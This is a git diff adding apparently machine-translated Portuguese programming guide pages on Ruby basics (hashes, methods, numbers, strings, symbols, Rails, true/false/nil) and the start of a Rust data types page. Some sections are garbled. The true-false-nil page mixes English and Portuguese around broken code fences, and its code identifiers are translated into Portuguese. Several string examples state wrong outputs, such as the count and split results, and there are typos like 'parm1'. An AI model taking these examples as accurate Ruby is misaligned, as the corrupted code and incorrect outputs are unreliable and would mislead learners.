+Além disso, se todas as suas chaves forem [símbolos](#) , você poderá escrever seu hash nesse formato alternativo, mas acessará da mesma maneira:
+
+```ruby
+hash = { symbol: "value" } 
+ hash[:symbol] # => "value" 
+```
+
+#### Mais Informações:
+
+[Documentação de hash Ruby](https://ruby-doc.org/core-2.4.2/Hash.html)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/ruby/ruby-methods/index.md b/client/src/guide/portuguese/ruby/ruby-methods/index.md
new file mode 100644
index 0000000000..3c8e99f238
--- /dev/null
+++ b/client/src/guide/portuguese/ruby/ruby-methods/index.md
@@ -0,0 +1,40 @@
+---
+title: Ruby Methods
+localeTitle: Métodos Ruby
+---
+## Introdução
+
+Você já ouviu falar de linguagens de programação referentes a funções? Se você codificou em JavaScript, você deve estar familiarizado com eles. Ruby também tem funções, mas nos referimos a elas como métodos. Os métodos são apenas blocos de código que recebem um nome para facilidade de uso e acessibilidade e são cruciais para essa abordagem DRY (não se repita) na programação.
+
+## Criando e usando métodos
+
+Os métodos devem sempre ser definidos como letras minúsculas (você pode separar as palavras com um sublinhado, se quiser), senão elas podem ser confundidas como constantes. Os métodos também devem ser definidos antes de realmente tentar chamá-los, portanto, a regra básica seria criar seus métodos no início de seu arquivo e chamá-los posteriormente quando necessário. Sempre tente evitar nomes de métodos de palavras simples quando necessário, você quer saber mais ou menos o que o método faz sem ter que cavar dentro dele.
+
+## Sintaxe
+
+Os métodos são muito fáceis de criar, eles podem ser criados sem a capacidade de aceitar parâmetros, com parâmetros e até mesmo com parâmetros pré-definidos, se nenhum for dado.
+
+#### Método simples
+```
+def my_method 
+  code goes here 
+ end 
+```
+
+#### Método de aceitação de parâmetros
+```
+def my_method (param1, param2) 
+  param1 + param2 
+ end 
+```
+
+#### Método de parâmetro predefinido (parâmetros predefinidos são usados ​​quando nenhum é dado)
+```
+def my_method (param1 = parameter1, param2 = parameter2) 
+  parm1 + parm2 
+ end 
+```
+
+## Retornar nos métodos
+
+O valor retornado de um método sempre será a última expressão avaliada no método. Você pode, no entanto, usar a palavra-chave return para retornar mais de um valor, se necessário.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/ruby/ruby-numbers-methods/index.md b/client/src/guide/portuguese/ruby/ruby-numbers-methods/index.md
new file mode 100644
index 0000000000..0b28301278
--- /dev/null
+++ b/client/src/guide/portuguese/ruby/ruby-numbers-methods/index.md
@@ -0,0 +1,101 @@
+---
+title: Ruby Number Methods
+localeTitle: Métodos de números Ruby
+---
+O Ruby fornece uma variedade de métodos incorporados que você pode usar em números. A seguir, uma lista incompleta de métodos de [número inteiro](https://ruby-doc.org/core-2.2.0/Integer.html) e [flutuante](https://ruby-doc.org/core-2.2.0/Float.html#method-i-ceil) .
+
+## [Par](https://ruby-doc.org/core-2.2.0/Integer.html#method-i-even-3F) :
+
+Use `.even?` para verificar se um [**inteiro**](https://ruby-doc.org/core-2.2.0/Integer.html) é par ou não. Retorna um **booleano** `true` ou `false` .
+
+```Ruby
+    15.even? #=> false 
+    4.even?  #=> true 
+```
+
+## [Estranho](https://ruby-doc.org/core-2.2.0/Integer.html#method-i-odd-3F)
+
+Use o `.odd?` para verificar se um [**inteiro**](https://ruby-doc.org/core-2.2.0/Integer.html) é ímpar ou não. Retorna um **booleano** `true` ou `false` .
+
+```Ruby
+    15.odd? #=> true 
+    4.odd?  #=> false 
+```
+
+## [Ceil](https://ruby-doc.org/core-2.2.0/Float.html#method-i-ceil) :
+
+As rodadas do método `.ceil` [**flutuam**](https://ruby-doc.org/core-2.2.0/Float.html#method-i-ceil) **até** o número mais próximo. Retorna um [**inteiro**](https://ruby-doc.org/core-2.2.0/Integer.html) .
+
+```Ruby
+    8.3.ceil #=> 9 
+    6.7.ceil #=> 7 
+```
+
+## [Andar](https://ruby-doc.org/core-2.2.0/Float.html#method-i-floor) :
+
+As rodadas do método `.floor` [**flutuam**](https://ruby-doc.org/core-2.2.0/Float.html#method-i-ceil) para **baixo** até o número mais próximo. Retorna um [**inteiro**](https://ruby-doc.org/core-2.2.0/Integer.html) .
+
+```Ruby
+    8.3.floor #=> 8 
+    6.7.floor #=> 6 
+```
+
+## [Próximo](https://ruby-doc.org/core-2.2.0/Integer.html#method-i-next) :
+
+Use `.next` para retornar o próximo [**número inteiro**](https://ruby-doc.org/core-2.2.0/Integer.html) consecutivo.
+
+```Ruby
+    15.next #=> 16 
+    2.next  #=> 3 
+    -4.next #=> -3 
+```
+
+## [Pred](https://ruby-doc.org/core-1.8.7/Integer.html#method-i-pred) :
+
+Use `.pred` para retornar o [**inteiro**](https://ruby-doc.org/core-2.2.0/Integer.html) anterior consecutivo.
+
+```Ruby
+    15.pred #=> 14 
+    2.pred  #=> 1 
+    (-4).pred #=> -5 
+```
+
+## [Para String](https://ruby-doc.org/core-2.4.2/Object.html#method-i-to_s) :
+
+O uso de `.to_s` em um número ( [**inteiro**](https://ruby-doc.org/core-2.2.0/Integer.html) , [**flutuante**](https://ruby-doc.org/core-2.2.0/Float.html#method-i-ceil) , etc.) retorna uma [string](https://ruby-doc.org/core-2.2.0/String.html) desse número.
+
+```Ruby
+    15.to_s  #=> "15" 
+    3.4.to_s #=> "3.4" 
+```
+
+## [Maior Denominador Comum](https://ruby-doc.org/core-2.2.0/Integer.html#method-i-gcd) :
+
+O método `.gcd` fornece o maior divisor comum (sempre positivo) de dois números. Retorna um [**inteiro**](https://ruby-doc.org/core-2.2.0/Integer.html) .
+
+```Ruby
+    15.gcd(5) #=> 5 
+    3.gcd(-7) #=> 1 
+```
+
+## [Rodada](http://ruby-doc.org/core-2.2.0/Integer.html#method-i-round) :
+
+Use `.round` para retornar um [**inteiro**](https://ruby-doc.org/core-2.2.0/Integer.html) arredondado ou [**float**](https://ruby-doc.org/core-2.2.0/Float.html) .
+
+```Ruby
+    1.round        #=> 1 
+    1.round(2)     #=> 1.0 
+    15.round(-1)   #=> 20 
+```
+
+## [Horários](http://ruby-doc.org/core-2.2.0/Integer.html#method-i-times) :
+
+Use `.times` para iterar o bloco dado `int` times.
+
+```Ruby
+    5.times do |i| 
+      print i, " " 
+    end 
+    #=> 0 1 2 3 4 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/ruby/ruby-numbers-operations/index.md b/client/src/guide/portuguese/ruby/ruby-numbers-operations/index.md
new file mode 100644
index 0000000000..751d04f0f0
--- /dev/null
+++ b/client/src/guide/portuguese/ruby/ruby-numbers-operations/index.md
@@ -0,0 +1,29 @@
+---
+title: Ruby Numbers Operations
+localeTitle: Operações de números Ruby
+---
+Em Ruby, você pode executar todas as operações matemáticas padrão em números, incluindo: adição `+` , subtração `-` , multiplicação `*` , divisão `/` , localizar `%` remanescentes e trabalho com expoentes `**` .
+
+## Adição:
+
+*   Os números podem ser adicionados usando o operador `+` . `ruby 15 + 25 #=> 40`
+
+## Subtração:
+
+*   Os números podem ser subtraídos uns dos outros usando o operador `-` . `ruby 25 - 15 #=> 10`
+
+## Multiplicação:
+
+*   Os números podem ser multiplicados juntos usando o operador `*` . `ruby 10 * 5 #=> 50`
+
+## Divisão:
+
+*   Os números podem ser divididos um pelo outro usando o operador `/` . `ruby 10 / 5 #=> 2`
+
+## Restos:
+
+*   Remainders podem ser encontrados usando o operador `%` módulo. `ruby 10 % 3 #=> 1 # because the remainder of 10/3 is 1`
+
+## Expoentes:
+
+*   Os expoentes podem ser calculados usando o operador `**` . `ruby 2 ** 3 #=> 8 # because 2 to the third power, or 2 * 2 * 2 = 8`
\ No newline at end of file
diff --git a/client/src/guide/portuguese/ruby/ruby-on-rails/index.md b/client/src/guide/portuguese/ruby/ruby-on-rails/index.md
new file mode 100644
index 0000000000..a9db4513ca
--- /dev/null
+++ b/client/src/guide/portuguese/ruby/ruby-on-rails/index.md
@@ -0,0 +1,118 @@
+---
+title: Ruby on Rails
+localeTitle: Ruby on Rails
+---
+# Ruby on Rails
+
+[Ruby on Rails](http://rubyonrails.org/) é uma estrutura do lado do servidor (gem) construída na linguagem Ruby para criar websites. O Rails torna o desenvolvimento da web mais rápido, fácil e divertido. Inclui tudo o que você precisa para criar aplicativos fantásticos e tem uma grande comunidade. O Rails foi criado por David Heinemeir Hansson e atualmente está na sua quinta versão. O Rails enfatiza o uso de outros padrões e paradigmas bem conhecidos de engenharia de software, incluindo [convenção sobre configuração (CoC)](https://en.wikipedia.org/wiki/Convention_over_configuration) , [não repetir a si mesmo (DRY)](https://en.wikipedia.org/wiki/Don%27t_repeat_yourself) e o padrão de registro ativo. O Rails é uma estrutura de [modelo-exibição-controlador (MVC)](https://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93controller) , fornecendo estruturas padrão para um banco de dados, um serviço da Web e páginas da web. Ultimamente, o Rails integrou um módulo de API para tornar a criação de serviços da Web mais rápida e fácil.
+
+## Instalando Rails
+
+O Rails é baixado da mesma forma que qualquer outra gem do Ruby: com o comando `gem install` . Antes de fazer o download, precisaremos fazer o [download do Ruby](https://www.ruby-lang.org) . Depois, estamos a apenas 3 palavras de começar com Ruby on Rails:
+
+```shell
+$ gem install rails 
+```
+
+## Configurando o banco de dados
+
+O Rails é fornecido com o sqlite3 como o banco de dados padrão, que é um arquivo simples no disco. Você precisa instalar o MySQL ou PostgreSQL se você quiser usar algo mais robusto.
+
+## Criando um aplicativo Rails
+
+1.  Depois de instalar o Ruby on Rails, é muito simples criar uma nova aplicação, só precisamos de mais 3 palavras:
+
+```shell
+$ rails new your_application_name 
+```
+
+*   Se você quiser usar o MySQL `shell $ rails new <application_name> -d mysql`
+*   Se você quiser usar o Postgres `shell $ rails new <application_name> -d postgresql`
+
+1.  Este comando criará uma pasta com o _nome_ do _seu _aplicativo__ informado no último comando. O próximo passo é ir para o novo diretório que você acabou de criar:
+
+```shell
+$ cd your_application_name 
+```
+
+3.  Obtenha as gemas e os pacotes de software necessários antes de executar seu aplicativo:
+
+```shell
+$ bundle install 
+```
+
+4.  Para executar o servidor rails e ver se tudo correu de acordo, também é rápido:
+
+```shell
+$ rails server 
+```
+
+Não poderia ser mais simples! Bem, isso não é realmente 100% verdadeiro, nós poderíamos torná-lo ainda menor, reduzindo o comando do `rails server` para:
+
+```shell
+$ rails s 
+```
+
+5.  Agora, com o seu navegador preferido, vá para `http://localhost:3000` e você verá: "Yay! Você está no Rails!"
+
+### Método alternativo para criar um aplicativo Rails
+
+1.  Crie um novo diretório:
+    
+    ```shell
+    $ mkdir <application_name> 
+    
+    ```
+    
+2.  Vá para o novo diretório:
+    
+    ```shell
+    $ cd <application_name> 
+    
+    ```
+    
+3.  Crie o aplicativo Rails usando a notação de ponto do Unix. Isso resulta na atribuição do nome do diretório ao novo aplicativo.
+    
+    ```shell
+    $ rails new . 
+    
+    ```
+    
+4.  Comece a explorar o framework do aplicativo que você acabou de criar. A estrutura da pasta é organizada de acordo com a tabela abaixo:
+    
+
+| Arquivo / Pasta | Objetivo |  
+| ----------- | ------- |  
+| app / | Contém os controladores, modelos, visualizações, ajudantes, malas diretas, canais, trabalhos e ativos para seu aplicativo. Você se concentrará nessa pasta pelo restante deste guia. |  
+| bin / | Contém o script rails que inicia seu aplicativo e pode conter outros scripts usados ​​para configurar, atualizar, implantar ou executar seu aplicativo. |  
+| config / | Configure as rotas, banco de dados e mais do aplicativo. Isso é abordado com mais detalhes em Configurando Aplicativos Rails. |  
+| config.ru | Configuração de rack para servidores baseados em rack usados ​​para iniciar o aplicativo. |  
+| db / | Contém seu esquema de banco de dados atual, bem como as migrações de banco de dados. |  
+| Gemfile, Gemfile.lock | Esses arquivos permitem que você especifique quais dependências gem são necessárias para o seu aplicativo Rails. Esses arquivos são usados ​​pela gem do Bundler. Para obter mais informações sobre o Bundler, consulte o site do Bundler. |  
+| lib / | Módulos estendidos para sua aplicação. |  
+| log / | Arquivos de log do aplicativo. |  
+| público / | A única pasta vista pelo mundo como é. Contém arquivos estáticos e ativos compilados. |  
+| Rakefile | Este arquivo localiza e carrega tarefas que podem ser executadas a partir da linha de comando. As definições da tarefa são definidas em todos os componentes do Rails. Em vez de alterar o Rakefile, você deve adicionar suas próprias tarefas adicionando arquivos ao diretório lib / tasks do seu aplicativo. |  
+| README.md | Este é um breve manual de instruções para sua aplicação. Você deve editar esse arquivo para informar aos outros o que seu aplicativo faz, como configurá-lo e assim por diante. |  
+| teste / | Testes unitários, acessórios e outros aparelhos de teste. Eles são abordados nos aplicativos Testing Rails. |  
+| tmp / | Arquivos temporários (como arquivos cache e pid). |  
+| vendedor / | Um local para todos os códigos de terceiros. Em uma aplicação típica do Rails, isso inclui gems vendidas. |  
+| .gitignore | Este arquivo informa ao git quais arquivos (ou padrões) ele deve ignorar. Veja Github - Ignorando arquivos para mais informações sobre como ignorar arquivos. |
+
+Um ótimo lugar para começar a usar esse framework incrível é ler a [página de Primeiros passos](http://guides.rubyonrails.org/getting_started.html) .
+
+## Convenção sobre Configuração
+
+_Convenção sobre Configuração_ significa que um desenvolvedor só precisa especificar aspectos não convencionais do aplicativo. Por exemplo, se houver uma classe `Sale` no modelo, a tabela correspondente no banco de dados será chamada de `sales` por padrão. É somente se alguém se desvia dessa convenção, como chamar a tabela "produtos vendidos", que o desenvolvedor precisa escrever código em relação a esses nomes. Geralmente, as convenções do Ruby on Rails levam a menos código e menos repetição.
+
+## O que é MVC?
+
+Modelo (registro ativo) contém a lógica de negócios e interage com o banco de dados. Exibições (exibições de ação) todos os arquivos HTML e estrutura. O controlador (controlador de ação) interage com as visualizações e o modelo para direcionar as ações do aplicativo.
+
+## DRY - não se repita
+
+_Não se repita_ significa que a informação está localizada em um lugar único e sem ambigüidade. Por exemplo, usando o módulo ActiveRecord do Rails, o desenvolvedor não precisa especificar os nomes das colunas do banco de dados nas definições de classe. Em vez disso, o Ruby on Rails pode recuperar essas informações do banco de dados com base no nome da classe.
+
+## Ruby on Rails é open source
+
+Não é apenas gratuito para usar, você também pode ajudar a torná-lo melhor. Mais de 4.500 pessoas já contribuíram com código para o [Rails](https://github.com/rails/rails) . É mais fácil do que você pensa se tornar um deles.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/ruby/ruby-string-interpolation/index.md b/client/src/guide/portuguese/ruby/ruby-string-interpolation/index.md
new file mode 100644
index 0000000000..546ab56c9d
--- /dev/null
+++ b/client/src/guide/portuguese/ruby/ruby-string-interpolation/index.md
@@ -0,0 +1,31 @@
+---
+title: Ruby String Interpolation
+localeTitle: Interpolação de String Ruby
+---
+# Interpolação de Cadeias
+
+A interpolação de string fornece uma sintaxe mais legível e concisa para criar strings. Você pode estar familiarizado com a concatenação através dos métodos `+` ou `<<` :
+
+```ruby
+"Hello " + "World!" #=> Hello World 
+ "Hello " << "World!" #=> Hello World 
+```
+
+A interpolação de strings fornece uma maneira de incorporar o código Ruby diretamente em uma string:
+
+```ruby
+place = "World" 
+ "Hello #{place}!" #=> Hello World! 
+ 
+ "4 + 4 is #{4 + 4}" #=> 4 + 4 is 8 
+```
+
+Tudo entre `#{` e `}` é avaliado como código Ruby. Para fazer isso, a cadeia deve estar entre aspas duplas ( `"` ).
+
+Aspas simples retornarão a string exata dentro das aspas:
+
+```ruby
+place = "World" 
+ 'Hello #{place}!' #=> Hello #{place}! 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/ruby/ruby-string-methods/index.md b/client/src/guide/portuguese/ruby/ruby-string-methods/index.md
new file mode 100644
index 0000000000..91fdda289a
--- /dev/null
+++ b/client/src/guide/portuguese/ruby/ruby-string-methods/index.md
@@ -0,0 +1,154 @@
+---
+title: Ruby String Methods
+localeTitle: Métodos de String Ruby
+---
+## Métodos de String Ruby
+
+Ruby tem muitos métodos integrados para trabalhar com strings. Strings em Ruby por padrão são mutáveis ​​e podem ser alteradas no local ou uma nova string pode ser retornada de um método.
+
+### Comprimento:
+
+*   A propriedade `.length` retorna o número de caracteres em uma cadeia, incluindo o espaço em branco. `ruby "Hello".length #=> 5 "Hello World!".length #=> 12`
+
+### Esvaziar:
+
+*   O `.empty?` método retorna `true` se uma string tiver comprimento igual a zero. `ruby "Hello".empty? #=> false "!".empty? #=> false " ".empty? #=> false "".empty? #=> true`
+
+### Contagem:
+
+*   O método `.count` conta quantas vezes um caractere específico é encontrado em uma string.
+*   Este método faz distinção entre maiúsculas e minúsculas. `ruby "HELLO".count('L') #=> 2 "HELLO WORLD!".count('LO') #=> 1`
+
+### Inserir:
+
+*   O método `.insert` insere uma string em outra string antes de um determinado índice. `ruby "Hello".insert(3, "hi5") #=> Helhi5lo # "hi5" is inserted into the string right before the second 'l' which is at index 3`
+
+### Upcase:
+
+*   O método `.upcase` transforma todas as letras em uma string para maiúsculas. `ruby "Hello".upcase #=> HELLO`
+
+### Downcase:
+
+*   O método `.downcase` transforma todas as letras em uma string em minúsculas. `ruby "Hello".downcase #=> hello`
+
+### Swapcase
+
+*   O método `.swapcase` transforma os `.swapcase` maiúsculas em uma string em minúsculas e as letras minúsculas em maiúsculas. `ruby "hELLO wORLD".swapcase #=> Hello World`
+
+### Capitalizar:
+
+*   O método `.capitalize` transforma a primeira letra em uma string em maiúsculas e o restante na string em minúsculo. `ruby "HELLO".capitalize #=> Hello "HELLO, HOW ARE YOU?".capitalize #=> Hello, how are you?`
+
+_Observe que a primeira letra só é maiúscula se estiver no início da string._ `ruby "-HELLO".capitalize #=> -hello "1HELLO".capitalize #=> 1hello`
+
+### Marcha ré:
+
+*   O método `.reverse` inverte a ordem dos caracteres em uma string. `ruby "Hello World!".reverse #=> "!dlroW olleH"`
+
+### Dividido:
+
+*   O `.split` pega uma string, _divide_ -a em uma matriz e retorna a matriz.
+    
+    ```ruby
+    "Hello, how are you?".split #=> ["Hello,", "how", "are", "you?"] 
+    
+    ```
+    
+*   O método padrão divide a string com base no espaço em branco, a menos que um separador diferente seja fornecido (veja o segundo exemplo). `ruby "Hello".split('-') #=> ["H", "e", "l", "l", "o"]`
+    
+
+### Chop:
+
+*   O método `.chop` remove o último caractere da string.
+    
+*   Uma nova string é retornada, a menos que você use o `.chop!` método que muta a string original.
+    
+    ```ruby
+    "Name".chop #=> Nam 
+    
+    ```
+    
+    ```ruby
+    name = "Batman" 
+     name.chop 
+     name == "Batma" #=> false 
+    
+    ```
+    
+    ```ruby
+    name = "Batman" 
+     name.chop! 
+     name == "Batma" #=> true 
+    
+    ```
+    
+
+### Faixa:
+
+*   O método `.strip` remove os espaços em branco inicial e final em cadeias, incluindo tabulações, novas linhas e retornos de carro ( `\t` , `\n` , `\r` ). `ruby " Hello ".strip #=> Hello`
+
+### Chomp:
+
+*   O método `.chomp` remove o último caractere em uma string, somente se for um retorno de carro ou uma nova linha ( `\r` , `\n` ).
+*   Esse método é comumente usado com o comando `gets` para remover retornos da entrada do usuário. ``ruby "hello\r".chomp #=> hello "hello\t".chomp #=> hello\t # because tabs and other whitespace remain intact when using `chomp` ``
+
+### Para inteiro:
+
+*   O método `.to_i` converte uma string em um inteiro. `ruby "15".to_i #=> 15 # integer`
+
+### Gsub:
+
+*   `gsub` substitui todas as referências do primeiro parâmetro do segundo parâmetro em uma string.
+
+```ruby
+"ruby is cool".gsub("cool", "very cool") #=> "ruby is very cool" 
+```
+
+*   `gsub` também aceita padrões (como _regexp_ ) como primeiro parâmetro, permitindo coisas como:
+
+```ruby
+"ruby is cool".gsub(/[aeiou]/, "*") #=> "r*by *sc**l" 
+```
+
+### Concatenação:
+
+*   Ruby implementa alguns métodos para concatenar duas strings juntas:
+    
+*   O método `+` :
+    
+    ```ruby
+    "15" + "15" #=> "1515" # string 
+    
+    ```
+    
+*   O `<<` método:
+    
+    ```ruby
+    "15" << "15" #=> "1515" # string 
+    
+    ```
+    
+*   O método `concat` : `ruby "15".concat "15" #=> "1515" # string`
+    
+
+### Índice:
+
+*   O método de `index` retorna a posição de índice da primeira ocorrência da correspondência de padrão de substring ou de expressão regular em uma string.
+    
+*   Se não houver correspondência encontrada, `nil` será retornado.
+    
+*   Um segundo parâmetro opcional indica qual posição do índice na string para começar a procurar por uma correspondência.
+    
+    ```ruby
+    "information".index('o') #=> 3 
+     "information".index('mat') #=> 5 
+     "information".index(/[abc]/) #=> 6 
+     "information".index('o', 5) #=> 9 
+     "information".index('z') #=> nil 
+    
+    ```
+    
+
+### Claro:
+
+*   Remove o conteúdo da string. `ruby a = "abcde" a.clear #=> ""`
\ No newline at end of file
diff --git a/client/src/guide/portuguese/ruby/ruby-string-operations/index.md b/client/src/guide/portuguese/ruby/ruby-string-operations/index.md
new file mode 100644
index 0000000000..54e0559bd3
--- /dev/null
+++ b/client/src/guide/portuguese/ruby/ruby-string-operations/index.md
@@ -0,0 +1,51 @@
+---
+title: Ruby String Operations
+localeTitle: Ruby String Operations
+---
+Tanto a concatenação quanto a multiplicação podem ser executadas em strings.
+
+## Concatenação:
+
+*   Seqüências de caracteres podem ser unidas usando qualquer um dos seguintes métodos:
+    
+    *   `+` operador
+    *   `<<` operador
+    *   método `.concat`
+    
+    ```ruby
+    "Hello" + " World" + "!"  #=> Hello World! 
+    
+    ```
+    
+    ```ruby
+    "Hello" << " World!" #=> Hello World! 
+    
+    ```
+    
+    ```ruby
+    string1 = "Hello" 
+     string2 = " World!" 
+     string1.concat(string2) #=> Hello World! 
+    
+    ```
+    
+
+## Multiplicação:
+
+*   As strings podem ser multiplicadas por um valor inteiro usando o operador `*` . `ruby "Hello" * 3 #=> HelloHelloHello`
+
+## Substituindo uma substring
+
+*   Podemos procurar por sub-strings ou usar o Regex para pesquisar e substituir caracteres em uma string. `ruby "Hey mom, look at this string".sub('mom', 'dad') #=> Hey dad, look at this string`
+
+## Comparação:
+
+*   Seqüências de caracteres podem ser comparadas, retornam -1, 0, +1 ou zero dependendo se string é menor que, igual a ou maior que other\_string.
+
+```ruby
+"abcdef" <=> "abcde"     #=> 1 
+ "abcdef" <=> "abcdef"    #=> 0 
+ "abcdef" <=> "abcdefg"   #=> -1 
+ "abcdef" <=> "ABCDEF"    #=> 1 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/ruby/ruby-symbols/index.md b/client/src/guide/portuguese/ruby/ruby-symbols/index.md
new file mode 100644
index 0000000000..fba8aaba51
--- /dev/null
+++ b/client/src/guide/portuguese/ruby/ruby-symbols/index.md
@@ -0,0 +1,129 @@
+---
+title: Ruby Symbols
+localeTitle: Ruby Symbols
+---
+## Ruby Symbols
+
+Um símbolo se parece com um nome de variável, mas é prefixado com dois pontos. Exemplos -: action,: line\_items Você não tem que pré-declarar um símbolo e é garantido que ele é único. Não há necessidade de atribuir algum tipo de valor a um símbolo - Ruby cuida disso para você. O Ruby também garante que, não importa onde ele apareça no seu programa, um símbolo específico terá o mesmo valor.
+
+Alternativamente, você pode considerar os dois pontos para significar "coisa chamada" assim: id é "a coisa chamada id". Você também pode pensar em: id como significando o nome da variável id e plain id como significando o valor da variável.
+
+Por ex: Assim, se Fred é uma constante em um contexto, um método em outro e uma classe em um terceiro, o símbolo: Fred será o mesmo objeto em todos os três contextos.
+
+```ruby
+module One 
+  class Fred 
+  end 
+  $f1 = :Fred 
+ end 
+ module Two 
+  Fred = 1 
+  $f2 = :Fred 
+ end 
+ def Fred() 
+ end 
+ $f3 = :Fred 
+ $f1.object_id   #=> 2514190 
+ $f2.object_id   #=> 2514190 
+ $f3.object_id   #=> 2514190 
+```
+
+## Trabalhando com Símbolos
+
+Você pode reconhecer um Símbolo Ruby porque será uma palavra que começa com:.
+
+Até agora nós os vimos como a chave em um Hash (Trabalhando com Hashes em Ruby):
+
+```ruby
+person = {:name => "Philip"} 
+```
+
+Então, a primeira coisa que podemos fazer é inspecionar um símbolo para ver que classe ele usa:
+
+```ruby
+:hello.class 
+ => Symbol 
+ 
+ "hello".class 
+ => String 
+```
+
+Assim, podemos ver que Símbolos e Strings são instâncias de dois objetos diferentes.
+
+Você pode chamar métodos String-como como `upcase` , `downcase` e `capitalize` sobre Símbolos:
+
+```ruby
+:hello.upcase 
+ => :HELLO 
+ 
+ :HELLO.downcase 
+ => :hello 
+ 
+ :hello.capitalize 
+ => :Hello 
+```
+
+## Por que você usaria um símbolo em vez de uma String?
+
+Então, se um símbolo é apenas uma string imutável, por que você o usaria, e por que há uma distinção especial em Ruby?
+
+## Símbolos são imutáveis
+
+Em primeiro lugar, uma das grandes razões é, como mencionei acima, os símbolos são imutáveis. Erros imprevistos podem surgir em seu aplicativo quando um valor pode mudar. Se você precisa garantir que o valor de um objeto nunca mude, é muito mais seguro usar um objeto imutável.
+
+No entanto, com isso dito, é possível tornar uma String imutável em Ruby chamando o método `freeze` :
+
+```ruby
+name = "Philip" 
+ => "Philip" 
+ 
+ name.freeze 
+ => "Philip" 
+ 
+ name << "Jim" 
+ RuntimeError: can't modify frozen String 
+```
+
+Como você pode ver no exemplo acima, depois de chamar o método freeze em uma instância de String, não será mais possível modificá-lo.
+
+Então, por que mais você usaria Símbolos em vez de Strings?
+
+#### Símbolos são melhores para desempenho
+
+Uma segunda razão pela qual você usaria um símbolo em uma sequência em determinadas situações é porque os símbolos são muito melhores para o desempenho.
+
+Por exemplo:
+
+```ruby
+philip".object_id 
+ => 70288511587360 
+ "philip".object_id 
+ => 70288504327720 
+ 
+ :philip.object_id 
+ => 539368 
+ :philip.object_id 
+ => 539368 
+```
+
+Quando você cria dois objetos String com o mesmo valor, esses dois objetos são tratados como dois objetos diferentes. Quando você cria um símbolo, referenciando o símbolo sempre usará o mesmo objeto.
+
+Isso é muito melhor para o desempenho porque o mesmo objeto String será criado e destruído repetidamente quando, na realidade, o mesmo objeto pode ser reutilizado a cada vez.
+
+#### Métodos de Classe Pública
+
+all\_symbols => array clica para alternar a fonte Retorna uma matriz de todos os símbolos atualmente na tabela de símbolos do Ruby.
+
+```ruby
+Symbol.all_symbols.size    #=> 903 
+ Symbol.all_symbols[1,20]   #=> [:floor, :ARGV, :Binding, :symlink, 
+                                :chown, :EOFError, :$;, :String, 
+                                :LOCK_SH, :"setuid?", :$<, 
+                                :default_proc, :compact, :extend, 
+                                :Tms, :getwd, :$=, :ThreadGroup, 
+                                :wait2, :$>] 
+```
+
+#### Mais Informações:
+
+[Documentação de Símbolos Ruby](http://ruby-doc.org/core-2.5.1/Symbol.html)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/ruby/true-false-nil/index.md b/client/src/guide/portuguese/ruby/true-false-nil/index.md
new file mode 100644
index 0000000000..fe25bd857c
--- /dev/null
+++ b/client/src/guide/portuguese/ruby/true-false-nil/index.md
@@ -0,0 +1,39 @@
+---
+title: True, False, and Nil
+localeTitle: Verdadeiro, falso e nada
+---
+# Verdadeiro, falso e nada
+
+`true` , `false` e `nil` são tipos de dados `nil` especiais em Ruby. Cada uma dessas palavras-chave é avaliada para um objeto que é a única instância de sua respectiva classe.
+
+```ruby
+true.class 
+ => TrueClass 
+ false.class 
+ => FalseClass 
+ nil.class 
+ => NilClass 
+ ``` 
+ 
+ `true` and `false` are Ruby's native boolean values. A boolean value is a value that can only be one of two possible values: true or not true. The object `true` represents truth, while `false` represents the opposite. You can assign variables to `true` / `false`, pass them to methods, and generally use them as you would other objects (such as numbers, Strings, Arrays, Hashes). 
+ 
+ `nil` is a special value that indicates the absence of a value: it is Ruby's way of referring to "nothing". An example of when you will encounter the `nil` object is when you ask for something that doesn't exist or cannot be found: 
+```
+
+rubi chapéus = \["boina", "sombrero", "gorro", "fez", "flatcap"\]
+
+chapéus \[0\] => "boina" # o chapéu no índice 0 chapéus \[2\] => "beanie" # o chapéu no índice 2 chapéus \[4\] => "flatcap" # o chapéu no índice 4 chapéus \[5\] => nulo # não há chapéu no índice 5, o índice 5 não contém nada (nulo)
+```
+Zero is not nothing (it's a number, which is something). Likewise, empty strings, arrays, and hashes are not nothing (they are objects, which happen to be empty). You can call the method `nil?` to check whether an object is nil. 
+```
+
+rubi 0.nil => falso "".nada? => falso \[\].nada? => falso {}.nada? => falso nil.nil? = verdadeiro # do exemplo acima chapéus \[5\] .nil? = verdadeiro \`\` \`
+
+Todo objeto em Ruby possui um valor booleano, o que significa que é considerado verdadeiro ou falso em um contexto booleano. Aqueles considerados verdadeiros neste contexto são "verdadeiros" e aqueles considerados falsos são "falsey". Em Ruby, _apenas_ `false` e `nil` são "falsey", todo o resto é "verdadeiro".
+
+### Outros recursos
+
+*   https://ruby-doc.org/core-2.3.0/TrueClass.html
+*   https://ruby-doc.org/core-2.3.0/FalseClass.html
+*   https://ruby-doc.org/core-2.3.0/NilClass.html
+*   https://en.wikipedia.org/wiki/Boolean
\ No newline at end of file
diff --git a/client/src/guide/portuguese/rust/data-types/index.md b/client/src/guide/portuguese/rust/data-types/index.md
new file mode 100644
index 0000000000..be7374e97c
--- /dev/null
+++ b/client/src/guide/portuguese/rust/data-types/index.md
@@ -0,0 +1,88 @@
+---
+title: Rust Data Types
+localeTitle: Tipos de dados de ferrugem
+---
+Entender o sistema de tipos de uma linguagem de programação é essencial para começar a escrever programas. Um sistema de tipos é simplesmente um sistema que uma linguagem de programação impõe para você armazenar informações em dados. Se você é um desenvolvedor vindo de C / C ++, alguns desses tipos de dados já podem ser familiares para você.
+
+Vamos ver os tipos primitivos de Rust
+
+* * *
+
+Quando olhamos para Rust, vemos uma linguagem que coloca muito mais foco na **segurança de tipos** . Isso significa que interagindo e manipulando como o programador armazena dados, o compilador é muito mais rígido e implacável. Um exemplo (que veremos em breve) é introduzido através de **avisos** .
+
+Rust também é uma linguagem de programação estaticamente tipada. Isto significa que quando o programa está compilando (também conhecido como _tempo de compilação_ ), o tipo de suas variáveis ​​deve ser conhecido. A ferrugem tem a opção de fornecer tipos _implícitos_ ou _explícitos_ .
+
+### Inteiros
+
+Vamos ver como tipos _implícitos_ ou _explícitos_ funcionam, declarando um inteiro simples.
+```
+let number = 13; 
+```
+
